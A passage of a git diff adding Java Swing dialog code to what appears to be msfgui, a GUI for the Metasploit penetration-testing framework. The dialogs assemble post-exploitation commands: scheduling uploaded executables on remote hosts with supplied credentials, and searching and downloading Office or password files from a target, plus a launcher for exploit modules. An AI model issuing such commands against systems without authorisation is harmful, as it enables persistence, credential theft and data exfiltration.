NOI18N + startupButton.setName("startupButton"); // NOI18N + + whenGroup.add(loginButton); + loginButton.setText(resourceMap.getString("loginButton.text")); // NOI18N + loginButton.setName("loginButton"); // NOI18N + + whenGroup.add(dailyButton); + dailyButton.setText(resourceMap.getString("dailyButton.text")); // NOI18N + dailyButton.setName("dailyButton"); // NOI18N + + whenGroup.add(hourlyButton); + hourlyButton.setText(resourceMap.getString("hourlyButton.text")); // NOI18N + hourlyButton.setName("hourlyButton"); // NOI18N + + whenGroup.add(minuteButton); + minuteButton.setText(resourceMap.getString("minuteButton.text")); // NOI18N + minuteButton.setName("minuteButton"); // NOI18N + + whenGroup.add(immediateButton); + immediateButton.setText(resourceMap.getString("immediateButton.text")); // NOI18N + immediateButton.setName("immediateButton"); // NOI18N + + uploadField.setText(resourceMap.getString("uploadField.text")); // NOI18N + uploadField.setName("uploadField"); // NOI18N + + uploadButton.setText(resourceMap.getString("uploadButton.text")); // NOI18N + uploadButton.setName("uploadButton"); // NOI18N + uploadButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + uploadButtonActionPerformed(evt); + } + }); + + goButton.setText(resourceMap.getString("goButton.text")); // NOI18N + goButton.setName("goButton"); // NOI18N + goButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + goButtonActionPerformed(evt); + } + }); + + jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N + jLabel2.setName("jLabel2"); // NOI18N + + commandField.setText(resourceMap.getString("commandField.text")); // NOI18N + commandField.setName("commandField"); // NOI18N + + jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N + jLabel3.setName("jLabel3"); // NOI18N + + uploadedArgs.setText(resourceMap.getString("uploadedArgs.text")); // NOI18N + uploadedArgs.setName("uploadedArgs"); // NOI18N + + remoteScheduleBox.setText(resourceMap.getString("remoteScheduleBox.text")); // NOI18N + remoteScheduleBox.setName("remoteScheduleBox"); // NOI18N + + remoteSystemField.setText(resourceMap.getString("remoteSystemField.text")); // NOI18N + remoteSystemField.setName("remoteSystemField"); // NOI18N + + jLabel4.setText(resourceMap.getString("jLabel4.text")); // NOI18N + jLabel4.setName("jLabel4"); // NOI18N + + howManyField.setText(resourceMap.getString("howManyField.text")); // NOI18N + howManyField.setName("howManyField"); // NOI18N + + jLabel5.setText(resourceMap.getString("jLabel5.text")); // NOI18N + jLabel5.setName("jLabel5"); // NOI18N + + passwordField.setText(resourceMap.getString("passwordField.text")); // NOI18N + passwordField.setName("passwordField"); // NOI18N + + jLabel6.setText(resourceMap.getString("jLabel6.text")); // NOI18N + jLabel6.setName("jLabel6"); // NOI18N + + usernameField.setText(resourceMap.getString("usernameField.text")); // NOI18N + usernameField.setName("usernameField"); // NOI18N + + jLabel7.setText(resourceMap.getString("jLabel7.text")); // NOI18N + jLabel7.setName("jLabel7"); // NOI18N + + jLabel8.setText(resourceMap.getString("jLabel8.text")); // NOI18N + jLabel8.setName("jLabel8"); // NOI18N + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel1) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addComponent(startupButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(loginButton, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(dailyButton, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(hourlyButton, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(minuteButton, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(immediateButton, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addGap(18, 18, 18) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(remoteScheduleBox, javax.swing.GroupLayout.DEFAULT_SIZE, 513, Short.MAX_VALUE) + .addGroup(layout.createSequentialGroup() + .addComponent(jLabel4) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(remoteSystemField, javax.swing.GroupLayout.DEFAULT_SIZE, 420, Short.MAX_VALUE)) + .addGroup(layout.createSequentialGroup() + .addComponent(jLabel3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(uploadedArgs, javax.swing.GroupLayout.DEFAULT_SIZE, 363, Short.MAX_VALUE)) + .addGroup(layout.createSequentialGroup() + .addComponent(uploadButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel8) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(uploadField, javax.swing.GroupLayout.DEFAULT_SIZE, 250, Short.MAX_VALUE)) + .addGroup(layout.createSequentialGroup() + .addComponent(jLabel5) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(howManyField, javax.swing.GroupLayout.DEFAULT_SIZE, 442, Short.MAX_VALUE)))) + .addGroup(layout.createSequentialGroup() + .addComponent(jLabel7) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(usernameField, javax.swing.GroupLayout.PREFERRED_SIZE, 161, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel6) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(passwordField, javax.swing.GroupLayout.DEFAULT_SIZE, 159, Short.MAX_VALUE)) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addComponent(jLabel2) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(commandField, javax.swing.GroupLayout.DEFAULT_SIZE, 553, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(goButton))) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(startupButton) + .addComponent(uploadField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(uploadButton) + .addComponent(jLabel8)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(loginButton) + .addComponent(jLabel3) + .addComponent(uploadedArgs, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(dailyButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(hourlyButton) + .addComponent(howManyField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel5)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(minuteButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(immediateButton) + .addGroup(layout.createSequentialGroup() + .addComponent(remoteScheduleBox) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(remoteSystemField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel4)))) + .addGap(18, 18, 18) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(passwordField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(usernameField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel7) + .addComponent(jLabel6)) + .addGap(18, 18, 18) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(goButton) + .addComponent(commandField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel2)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void uploadButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_uploadButtonActionPerformed + if(MsfguiApp.fileChooser.showOpenDialog(this) == JFileChooser.APPROVE_OPTION) + uploadField.setText(MsfguiApp.fileChooser.getSelectedFile().getPath()); + }//GEN-LAST:event_uploadButtonActionPerformed + + private void goButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_goButtonActionPerformed + StringBuilder cmd = new StringBuilder("scheduleme "); + if(loginButton.isSelected()) + cmd.append(" -l"); + else if(immediateButton.isSelected()) + cmd.append(" -i"); + else if(startupButton.isSelected()) + cmd.append(" -s"); + else if(dailyButton.isSelected()) + cmd.append(" -d "+howManyField.getText()); + else if(hourlyButton.isSelected()) + cmd.append(" -hr "+howManyField.getText()); + else if(minuteButton.isSelected()) + cmd.append(" -m "+howManyField.getText()); + if(remoteScheduleBox.isSelected()) + cmd.append(" -r -t "+remoteSystemField.getText()); + if(usernameField.getText().length() > 0) + cmd.append(" -u "+usernameField.getText()+" -p "+passwordField.getText()); + if(uploadField.getText().length() > 0) + cmd.append(" -e \"" + MsfguiApp.doubleBackslashes(uploadField.getText()) + "\" -o \"" + + MsfguiApp.doubleBackslashes(uploadedArgs.getText()) + "\""); + cmd.append(" -c \"" + MsfguiApp.doubleBackslashes(commandField.getText()) + "\""); + command = cmd.toString(); + setVisible(false); + }//GEN-LAST:event_goButtonActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JTextField commandField; + private javax.swing.JRadioButton dailyButton; + private javax.swing.JButton goButton; + private javax.swing.JRadioButton hourlyButton; + private javax.swing.JTextField howManyField; + private javax.swing.JRadioButton immediateButton; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel4; + private javax.swing.JLabel jLabel5; + private javax.swing.JLabel jLabel6; + private javax.swing.JLabel jLabel7; + private javax.swing.JLabel jLabel8; + private javax.swing.JRadioButton loginButton; + private javax.swing.JRadioButton minuteButton; + private javax.swing.JTextField passwordField; + private javax.swing.JCheckBox remoteScheduleBox; + private javax.swing.JTextField remoteSystemField; + private javax.swing.JRadioButton startupButton; + private javax.swing.JButton uploadButton; + private javax.swing.JTextField uploadField; + private javax.swing.JTextField uploadedArgs; + private javax.swing.JTextField usernameField; + private javax.swing.ButtonGroup whenGroup; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/SearchDwldOptionsDialog.form b/external/source/gui/msfguijava/src/msfgui/SearchDwldOptionsDialog.form new file mode 100644 index 0000000000..278306a852 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/SearchDwldOptionsDialog.form @@ -0,0 +1,152 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/SearchDwldOptionsDialog.java b/external/source/gui/msfguijava/src/msfgui/SearchDwldOptionsDialog.java new file mode 100644 index 0000000000..bf188fa473 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/SearchDwldOptionsDialog.java @@ -0,0 +1,166 @@ +package msfgui; + +/** + * + * @author scriptjunkie + */ +public class SearchDwldOptionsDialog extends OptionsDialog { + + /** Creates new form SearchDwldOptionsDialog */ + public SearchDwldOptionsDialog(java.awt.Frame parent, String currentDir) { + super(parent, "Schedule Task Options", true); + initComponents(); + dirField.setText(currentDir); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + buttonGroup1 = new javax.swing.ButtonGroup(); + okButton = new javax.swing.JButton(); + jLabel1 = new javax.swing.JLabel(); + dirField = new javax.swing.JTextField(); + jLabel2 = new javax.swing.JLabel(); + officeButton = new javax.swing.JRadioButton(); + win9xButton = new javax.swing.JRadioButton(); + passButton = new javax.swing.JRadioButton(); + customButton = new javax.swing.JRadioButton(); + customField = new javax.swing.JTextField(); + + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + closeDialog(evt); + } + }); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(SearchDwldOptionsDialog.class); + okButton.setText(resourceMap.getString("okButton.text")); // NOI18N + okButton.setName("okButton"); // NOI18N + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N + jLabel1.setName("jLabel1"); // NOI18N + + dirField.setText(resourceMap.getString("dirField.text")); // NOI18N + dirField.setName("dirField"); // NOI18N + + jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N + jLabel2.setName("jLabel2"); // NOI18N + + buttonGroup1.add(officeButton); + officeButton.setSelected(true); + officeButton.setText(resourceMap.getString("officeButton.text")); // NOI18N + officeButton.setName("officeButton"); // NOI18N + + buttonGroup1.add(win9xButton); + win9xButton.setText(resourceMap.getString("win9xButton.text")); // NOI18N + win9xButton.setName("win9xButton"); // NOI18N + + buttonGroup1.add(passButton); + passButton.setText(resourceMap.getString("passButton.text")); // NOI18N + passButton.setName("passButton"); // NOI18N + + buttonGroup1.add(customButton); + customButton.setText(resourceMap.getString("customButton.text")); // NOI18N + customButton.setName("customButton"); // NOI18N + + customField.setText(resourceMap.getString("customField.text")); // NOI18N + customField.setName("customField"); // NOI18N + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(customButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(customField, javax.swing.GroupLayout.DEFAULT_SIZE, 296, Short.MAX_VALUE)) + .addComponent(passButton) + .addComponent(win9xButton) + .addComponent(officeButton) + .addGroup(layout.createSequentialGroup() + .addComponent(jLabel1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(dirField, javax.swing.GroupLayout.DEFAULT_SIZE, 285, Short.MAX_VALUE)) + .addComponent(jLabel2) + .addComponent(okButton, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 67, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel1) + .addComponent(dirField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel2) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(officeButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(win9xButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(passButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(customButton) + .addComponent(customField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 7, Short.MAX_VALUE) + .addComponent(okButton) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + StringBuilder cmd = new StringBuilder("search_dwld \""+MsfguiApp.doubleBackslashes(dirField.getText())+"\""); + if(officeButton.isSelected()) + cmd.append(" office"); + else if(win9xButton.isSelected()) + cmd.append(" win9x"); + else if(passButton.isSelected()) + cmd.append(" passwd"); + else if(customButton.isSelected()) + cmd.append(" free "+customField.getText()); + command = cmd.toString(); + doClose(); + }//GEN-LAST:event_okButtonActionPerformed + + /** Closes the dialog */ + private void closeDialog(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_closeDialog + doClose(); + }//GEN-LAST:event_closeDialog + + private void doClose() { + setVisible(false); + dispose(); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.ButtonGroup buttonGroup1; + private javax.swing.JRadioButton customButton; + private javax.swing.JTextField customField; + private javax.swing.JTextField dirField; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JRadioButton officeButton; + private javax.swing.JButton okButton; + private javax.swing.JRadioButton passButton; + private javax.swing.JRadioButton win9xButton; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/SearchWindow.form b/external/source/gui/msfguijava/src/msfgui/SearchWindow.form new file mode 100755 index 0000000000..5d541a5d0b --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/SearchWindow.form @@ -0,0 +1,237 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/SearchWindow.java b/external/source/gui/msfguijava/src/msfgui/SearchWindow.java new file mode 100755 index 0000000000..31ccb6a38b --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/SearchWindow.java @@ -0,0 +1,307 @@ + +package msfgui; + +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.awt.event.KeyAdapter; +import java.awt.event.KeyEvent; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import javax.swing.DefaultListModel; +import javax.swing.JOptionPane; + +/** + * + * @author osama + */ +public class SearchWindow extends MsfFrame { + public List modules; //list of type, name actor + private RpcConnection rpcConn; + protected DefaultListModel mod; + /** Creates new form SearchWindow */ + public SearchWindow(RpcConnection rpcConn) { + super("Module search window"); + this.rpcConn = rpcConn; + initComponents(); + modules = new ArrayList(600); + mod =new DefaultListModel(); + resultList.setModel(mod); + searchBox.getEditor().getEditorComponent().addKeyListener(new KeyAdapter() { + public void keyReleased(KeyEvent evt) { + String typed = searchBox.getEditor().getItem().toString(); + if (evt.getKeyCode() == KeyEvent.VK_ENTER) { + doAction(typed); + return; + } + if (evt.getKeyChar() == KeyEvent.CHAR_UNDEFINED || typed.equals(searchBox.getItemAt(0).toString())) + return; + //display items + searchBox.hidePopup(); + searchBox.showPopup(); + searchBox.removeAllItems(); + searchBox.addItem(typed); + for (int i = 0; i < modules.size(); i++) + if (((Object[])modules.get(i))[1].toString().contains(typed)) + searchBox.addItem(((Object[])modules.get(i))[1]); + ((javax.swing.JTextField) (searchBox.getEditor().getEditorComponent())).select(typed.length(), + typed.length()); + } + }); + } + + /** starts handler for named item, whether exploit, payload, or auxiliary */ + private boolean doAction(String typed) { + for (int i = 0; i < modules.size(); i++) { + Object[] info = (Object[])modules.get(i); + if (info[1].toString().equals(typed)) { + ((ActionListener) info[2]).actionPerformed(null); + return true; + } + } + return false; + } + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + typeGroup = new javax.swing.ButtonGroup(); + detailGroup = new javax.swing.ButtonGroup(); + jLabel1 = new javax.swing.JLabel(); + jLabel2 = new javax.swing.JLabel(); + exploitsRadioButton = new javax.swing.JRadioButton(); + auxiliaryRadioButton = new javax.swing.JRadioButton(); + payloadsRadioButton = new javax.swing.JRadioButton(); + searchBox = new javax.swing.JComboBox(); + jLabel3 = new javax.swing.JLabel(); + jLabel4 = new javax.swing.JLabel(); + descriptionRadioButton = new javax.swing.JRadioButton(); + referenceRadioButton = new javax.swing.JRadioButton(); + searchField = new javax.swing.JTextField(); + searchButton = new javax.swing.JButton(); + jScrollPane1 = new javax.swing.JScrollPane(); + resultList = new javax.swing.JList(); + launchButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(SearchWindow.class); + jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N + jLabel1.setName("jLabel1"); // NOI18N + + jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N + jLabel2.setName("jLabel2"); // NOI18N + + typeGroup.add(exploitsRadioButton); + exploitsRadioButton.setSelected(true); + exploitsRadioButton.setText(resourceMap.getString("exploitsRadioButton.text")); // NOI18N + exploitsRadioButton.setActionCommand(resourceMap.getString("exploitsRadioButton.actionCommand")); // NOI18N + exploitsRadioButton.setName("exploitsRadioButton"); // NOI18N + + typeGroup.add(auxiliaryRadioButton); + auxiliaryRadioButton.setText(resourceMap.getString("auxiliaryRadioButton.text")); // NOI18N + auxiliaryRadioButton.setActionCommand(resourceMap.getString("auxiliaryRadioButton.actionCommand")); // NOI18N + auxiliaryRadioButton.setName("auxiliaryRadioButton"); // NOI18N + + typeGroup.add(payloadsRadioButton); + payloadsRadioButton.setText(resourceMap.getString("payloadsRadioButton.text")); // NOI18N + payloadsRadioButton.setActionCommand(resourceMap.getString("payloadsRadioButton.actionCommand")); // NOI18N + payloadsRadioButton.setName("payloadsRadioButton"); // NOI18N + + searchBox.setEditable(true); + searchBox.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "type name here" })); + searchBox.setName("searchBox"); // NOI18N + searchBox.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + searchBoxActionPerformed(evt); + } + }); + + jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N + jLabel3.setName("jLabel3"); // NOI18N + + jLabel4.setText(resourceMap.getString("jLabel4.text")); // NOI18N + jLabel4.setName("jLabel4"); // NOI18N + + detailGroup.add(descriptionRadioButton); + descriptionRadioButton.setSelected(true); + descriptionRadioButton.setText(resourceMap.getString("descriptionRadioButton.text")); // NOI18N + descriptionRadioButton.setActionCommand(resourceMap.getString("descriptionRadioButton.actionCommand")); // NOI18N + descriptionRadioButton.setName("descriptionRadioButton"); // NOI18N + + detailGroup.add(referenceRadioButton); + referenceRadioButton.setText(resourceMap.getString("referenceRadioButton.text")); // NOI18N + referenceRadioButton.setActionCommand(resourceMap.getString("referenceRadioButton.actionCommand")); // NOI18N + referenceRadioButton.setName("referenceRadioButton"); // NOI18N + + searchField.setText(resourceMap.getString("searchField.text")); // NOI18N + searchField.setName("searchField"); // NOI18N + + searchButton.setText(resourceMap.getString("searchButton.text")); // NOI18N + searchButton.setName("searchButton"); // NOI18N + searchButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + searchButtonActionPerformed(evt); + } + }); + + jScrollPane1.setName("jScrollPane1"); // NOI18N + + resultList.setName("resultList"); // NOI18N + jScrollPane1.setViewportView(resultList); + + launchButton.setText(resourceMap.getString("launchButton.text")); // NOI18N + launchButton.setName("launchButton"); // NOI18N + launchButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + launchButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 578, Short.MAX_VALUE) + .addComponent(searchField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 578, Short.MAX_VALUE) + .addComponent(jLabel1, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup() + .addComponent(jLabel2) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(searchBox, 0, 501, Short.MAX_VALUE)) + .addComponent(jLabel3, javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup() + .addComponent(exploitsRadioButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(auxiliaryRadioButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(payloadsRadioButton)) + .addComponent(jLabel4, javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup() + .addComponent(descriptionRadioButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(referenceRadioButton)) + .addComponent(searchButton) + .addComponent(launchButton)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel2) + .addComponent(searchBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jLabel3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(exploitsRadioButton) + .addComponent(auxiliaryRadioButton) + .addComponent(payloadsRadioButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel4) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(descriptionRadioButton) + .addComponent(referenceRadioButton)) + 